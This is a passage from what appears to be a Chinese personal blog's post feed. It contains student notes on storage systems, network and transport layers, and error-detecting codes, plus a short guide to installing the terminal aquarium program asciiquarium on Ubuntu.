href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID6\" class=\"headerlink\" title=\"RAID6\"\u003e\u003c/a\u003eRAID6\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200331.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200357.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"4-6-Cache一致性协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-6-Cache%E4%B8%80%E8%87%B4%E6%80%A7%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"4.6.Cache一致性协议\"\u003e\u003c/a\u003e4.6.Cache一致性协议\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e了解就行\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/"},{"title":"试试终端养鱼(Linux)!","time":"2023-05-31T13:17:06Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e我在Ubuntu上得安装点依赖,主要是Cursor和Animation;剩下的很简单。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 安装curse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo apt-get install libcurses-perl\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 安装Animation\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget http://search.cpan.org/CPAN/authors/id/K/KB/KBAUCOM/Term-Animation-2.4.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etar -zxvf Term-Animation-2.4.tar.gz ; \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e Term-Animation-2.4/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eperl Makefile.PL \u0026amp;\u0026amp; make\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emake install; \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ..\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 安装asciiquarium本体\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget http://www.robobunny.com/projects/asciiquarium/asciiquarium.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etar -zxvf asciiquarium.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e asciiquarium_1.1/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e asciiquarium /usr/local/bin\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003echmod\u003c/span\u003e +x /usr/local/bin/asciiquarium\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003easciiquarium \u003cspan class=\"comment\"\u003e#如果不行的话,重启终端\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e效果这样:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230531212306.png\" alt=\"这不挺好\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/31/%E8%AF%95%E8%AF%95%E7%BB%88%E7%AB%AF%E5%85%BB%E9%B1%BC%EF%BC%88Linux%EF%BC%89%EF%BC%81/"},{"title":"计网笔记:第四部分-网络层","time":"2023-05-24T08:33:07Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-19-逻辑寻址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#Chap-19-%E9%80%BB%E8%BE%91%E5%AF%BB%E5%9D%80\" class=\"headerlink\" title=\"Chap.19.逻辑寻址\"\u003e\u003c/a\u003eChap.19.逻辑寻址\u003c/h2\u003e\u003cp\u003e逻辑层通信的实现基础。TCP/IP实现了这个全球寻址方案。IP地址分为IPV4和IPV6两种,后者是前者的升级版本,目前前者在主要使用。\u003c/p\u003e\u003cp\u003eIPV4地址有$2^{32}$个,因为它的长度是32位,也就是四个字节。下面主要讨论的是IPV4。\u003c/p\u003e\u003ch3 id=\"IPV4地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#IPV4%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"IPV4地址\"\u003e\u003c/a\u003eIPV4地址\u003c/h3\u003e\u003cul\u003e\u003cli\u003e32位长\u003c/li\u003e\u003cli\u003e唯一且通用\u003c/li\u003e\u003cli\u003e地址空间是$2^{32}$\u003c/li\u003e\u003cli\u003e标记法有二进制标记法,和十进制点分标记法(常用每位范围从0-255)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"分类寻址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E5%88%86%E7%B1%BB%E5%AF%BB%E5%9D%80\" class=\"headerlink\" title=\"分类寻址\"\u003e\u003c/a\u003e分类寻址\u003c/h4\u003e\u003cp\u003e这种方法将地址空间分为ABCDE这5类。ip地址开头4位就能确定地址的类。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e前4位\u003c/th\u003e\u003cth\u003e第一个字节\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e0000\u003c/td\u003e\u003ctd\u003e0-127\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1000\u003c/td\u003e\u003ctd\u003e128-191\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1100\u003c/td\u003e\u003ctd\u003e192-223\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1110\u003c/td\u003e\u003ctd\u003e224-239\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1111\u003c/td\u003e\u003ctd\u003e240-255\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Chap-23-UDP、TCP和SCTP\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#Chap-23-UDP%E3%80%81TCP%E5%92%8CSCTP\" class=\"headerlink\" title=\"Chap.23.UDP、TCP和SCTP\"\u003e\u003c/a\u003eChap.23.UDP、TCP和SCTP\u003c/h2\u003e\u003cp\u003e这三个是传输层的协议。UDP较为简单,其次是复杂的TCP协议。最后的SCTP仅了解。\u003c/p\u003e\u003ch3 id=\"进程到进程的传递\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E8%BF%9B%E7%A8%8B%E5%88%B0%E8%BF%9B%E7%A8%8B%E7%9A%84%E4%BC%A0%E9%80%92\" class=\"headerlink\" title=\"进程到进程的传递\"\u003e\u003c/a\u003e进程到进程的传递\u003c/h3\u003e\u003cp\u003e传输层负责的是进程到进程的传递。\u003c/p\u003e\u003ch4 id=\"客户-x2F-服务器模式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E5%AE%A2%E6%88%B7-x2F-%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"客户/服务器模式\"\u003e\u003c/a\u003e客户/服务器模式\u003c/h4\u003e\u003cp\u003e在web2最常用的就是C/S模式。为了传输时的标识,需要确定本地/远程的主机和进程。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e寻址:传输层需要端口号来标识进程ID,服务器和客户端都是如此。不过前者规定比较严格,后者可以随机选择一个。这一般是由IANA统一管理的。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e套接字地址:将IP和端口号结合起来就得到了套接字地址(socket address)。传输层协议需要客户套接字地址和服务器套接字地址。这四条信息是IP头部和传输层协议头部的组成部分。IP头包含IP地址,UDP/TCP头包含端口号。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"复用-x2F-分离\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E5%A4%8D%E7%94%A8-x2F-%E5%88%86%E7%A6%BB\" class=\"headerlink\" title=\"复用/分离\"\u003e\u003c/a\u003e复用/分离\u003c/h4\u003e\u003cp\u003e寻址机制可以通过传输层进行复用和分离。也就是,同时刻选择一个待发送的分组进行发送(复用),同时刻选择一个待接受的进程分发分组。\u003c/p\u003e\u003ch4 id=\"无连接-x2F-面向连接服务\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E6%97%A0%E8%BF%9E%E6%8E%A5-x2F-%E9%9D%A2%E5%90%91%E8%BF%9E%E6%8E%A5%E6%9C%8D%E5%8A%A1\" class=\"headerlink\" title=\"无连接/面向连接服务\"\u003e\u003c/a\u003e无连接/面向连接服务\u003c/h4\u003e\u003cp\u003e前者对应UDP,分组从一方发送给另一方,不需要建立/释放连接,分组无编号。它们没有确认过程,可能被延迟、丢失、无序到达\u003c/p\u003e\u003cul\u003e\u003cli\u003e例题:最大窗口64kB,报文的段平均往返时间是20ms,则最大吞吐量是?\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e$64\\times1024\\times8(bit)\\div(20\\times10^3)s=26.21Mbit/s$\u003c/p\u003e\u003cul\u003e\u003cli\u003e例题:TCP的MSS是128B,报文的序号长度是8位,报文段在网络的生存时间是30s,计算TCP链接能达到的最大速率。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e30s内不能有重复序号,因此30s最多有$2^8=256$个段。因此结果是$1024bits\\times256segments\\div30s=8738bit/s$\u003c/p\u003e\u003ch2 id=\"Chap-24-拥塞控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#Chap-24-%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"Chap.24.拥塞控制\"\u003e\u003c/a\u003eChap.24.拥塞控制\u003c/h2\u003e\u003cp\u003e它和服务质量是正相关的。\u003c/p\u003e\u003ch3 id=\"拥塞控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"拥塞控制\"\u003e\u003c/a\u003e拥塞控制\u003c/h3\u003e\u003cp\u003e思想是,利用窗口控制拥塞。窗口有两个,接受/发送窗口\u003c/p\u003e\u003cp\u003e策略有如下几个:\u003c/p\u003e\u003col\u003e\u003cli\u003e慢启动:先以一个MSS(Maximum Segment Size)慢速启动,如果重传之前收到一个确认,则指数(1,2,4,8,…)增加发送速度,直到收到的确认消息数和发送速率不匹配为止.\u003c/li\u003e\u003cli\u003e加性增加:和上面类似,不过增长速率是线性增长(1,2,3,…)。同时,如果计时器超时(严重拥塞),则作出强烈反应:设置阈值为当前拥塞状态的一半、设置cwnd为1个段的大小、进入慢启动阶段。如果接受到三个连续的ACK,则说明轻度拥塞,一个段可能丢失,其他段可能到达。这时,称为快速重传/快速恢复:设置阈值为拥塞窗口的一半、设置阈值为cwnd一半、进入拥塞避免状态。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e一般,拥塞控制综合这两种启动方式。开始时慢启动,之后达到一个阈值后开始加性增加,并按照丢包严重程度来重新确定阈值。阈值的确定是\u003cstrong\u003e取下一次计算得的发送速率和接受到对面ACK时得到的对方缓存空间的最小值\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"4-SCTP-流控传输协议(Stream-Control-Transmission-Protocol)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#4-SCTP-%E6%B5%81%E6%8E%A7%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE%EF%BC%88Stream-Control-Transmission-Protocol%EF%BC%89\" class=\"headerlink\" title=\"4.SCTP-流控传输协议(Stream Control Transmission Protocol)\"\u003e\u003c/a\u003e4.SCTP-流控传输协议(Stream Control Transmission Protocol)\u003c/h3\u003e\u003cp\u003e它允许每个端口有多个IP地址。协议构成方面,了解即可。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/"},{"title":"计网笔记:第三部分-数据链路层","time":"2023-05-24T07:24:59Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-10-检错与纠错\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Chap-10-%E6%A3%80%E9%94%99%E4%B8%8E%E7%BA%A0%E9%94%99\" class=\"headerlink\" title=\"Chap.10.检错与纠错\"\u003e\u003c/a\u003eChap.10.检错与纠错\u003c/h2\u003e\u003cul\u003e\u003cli\u003e差错类型:单个位差错(1bit)、突发性差错(\u0026gt;1bit)\u003c/li\u003e\u003cli\u003e纠错方式:向前纠错(根据冗余推测报文)/重传(要求发送方重新发送)\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"编码\"\u003e\u003c/a\u003e编码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e分类 块编码、卷积编码\u003c/li\u003e\u003cli\u003e汉明距离 两个二进制数不同数位的数量,比如001和011的汉明距离是1。\u003c/li\u003e\u003cli\u003e最小汉明距离$d_{min}$ 一组码字中所有组合的汉明距离的最小值\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"块编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%9D%97%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"块编码\"\u003e\u003c/a\u003e块编码\u003c/h4\u003e\u003cp\u003e总长度:\u003ccode\u003en=k+r\u003c/code\u003e,k是数据字的长度,r是冗余位长度。即\u003cstrong\u003e有$2^k$个数据字组合,$2^n$个码字组合,$2^n-2^k$个未使用码字\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e模运算 模2运算和异或一致。\u003c/li\u003e\u003cli\u003e差错检测条件 接收方有有效码字表,并且原来的码字为无效码字\u003c/li\u003e\u003cli\u003e纠错 将数据和编码表对照,找出汉明距离最小的码字作为结果\u003c/li\u003e\u003cli\u003e编码方案表示 需要三个参数:$n,k,d_{min}$。编码方案C可记作$C(n,k),d_{min}=d_0$\u003c/li\u003e\u003cli\u003e检错最小距离 $s\\leq d_{min} -1$\u003c/li\u003e\u003cli\u003e纠错最小距离 $d_{min}=2t+1$,基于码字离有效码字的汉明距离\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"线性块编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E7%BA%BF%E6%80%A7%E5%9D%97%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"线性块编码\"\u003e\u003c/a\u003e线性块编码\u003c/h4\u003e\u003cp\u003e正式定义需要抽象代数\u003c/p\u003e\u003cul\u003e\u003cli\u003e任意两个有效码字生成另一个有效码字\u003c/li\u003e\u003cli\u003e$d_{min}$:具有最小1的个数的非0有效码字中1的个数\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"简单奇偶校验编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E7%AE%80%E5%8D%95%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"简单奇偶校验编码\"\u003e\u003c/a\u003e简单奇偶校验编码\u003c/h4\u003e\u003cp\u003e简单奇偶校验编码是一种最简单、最常用的校验码,用来检测数据传输过程中是否发生错误。它的基本方法是:在n位有效信息位上增加一个二进制位作为校验位P,构成n+1位的奇偶校验码。它有两种校验方法:奇校验和偶校验。\u003c/p\u003e\u003cul\u003e\u003cli\u003e奇校验:使n+1位的奇偶校验码中1的个数为奇数。\u003c/li\u003e\u003cli\u003e偶校验:使n+1位的奇偶校验码中1的个数为偶数。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它的检错能力是:可以检出1位错或奇数位错,无纠错能力。它的一个常见的应用场合是ASCII码,ASCII码占用一个字节,低7位是有效位,最高位用作奇偶校验。\u003c/p\u003e\u003ch4 id=\"汉明编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%B1%89%E6%98%8E%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"汉明编码\"\u003e\u003c/a\u003e汉明编码\u003c/h4\u003e\u003cp\u003e汉明编码是一种线性纠错码,它具有一位纠错能力。它的基本方法是:在\u003ccode\u003en\u003c/code\u003e位有效信息位上增加\u003ccode\u003ek\u003c/code\u003e位校验位,构成\u003ccode\u003en+k\u003c/code\u003e位的汉明编码。\u003c/p\u003e\u003cul\u003e\u003cli\u003e校验位的位置:第1、2、4、8、…、\u003ccode\u003e2^(k-1)\u003c/code\u003e位,其余位置是数据位。\u003c/li\u003e\u003cli\u003e校验位的取值:使每个校验位所覆盖的数据位和校验位本身中1的个数为奇数或偶数。\u003c/li\u003e\u003cli\u003e纠错过程:对传送后的汉明编码形成新的校验位,根据新校验位的状态,便可直接指出错误的位置。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"循环编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%BE%AA%E7%8E%AF%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"循环编码\"\u003e\u003c/a\u003e循环编码\u003c/h4\u003e\u003cp\u003e循环编码是一种线性分组码,满足循环特性,即任意码字的循环移位仍然是该编码中的一个码字。循环编码可以用多项式表示法,即将每个码字看作一个多项式的系数向量,例如\u003ccode\u003e(1100101)\u003c/code\u003e对应于\u003ccode\u003ex^6+x^5+x^2+1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e循环编码可以用模运算来进行编码和译码,即将多项式除以一个n次多项式N(x),得到商式和余式,其中余式就是循环码的一个码字。\u003c/p\u003e\u003cul\u003e\u003cli\u003e循环编码有一个生成多项式\u003ccode\u003eg(x)\u003c/code\u003e,它是\u003ccode\u003eN(x)\u003c/code\u003e的一个首1因子,且常数项不为0,它决定了循环码的结构和性质。\u003c/li\u003e\u003cli\u003e循环编码有一个校验多项式\u003ccode\u003eh(x)\u003c/code\u003e,它是\u003ccode\u003eN(x)\u003c/code\u003e除以\u003ccode\u003eg(x)\u003c/code\u003e得到的商式,它可以用来检测和纠正传输过程中的错误。\u003c/li\u003e\u003c/ul\u003e\u003ch5 id=\"循环冗余校验-CRC\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%BE%AA%E7%8E%AF%E5%86%97%E4%BD%99%E6%A0%A1%E9%AA%8C-CRC\" class=\"headerlink\" 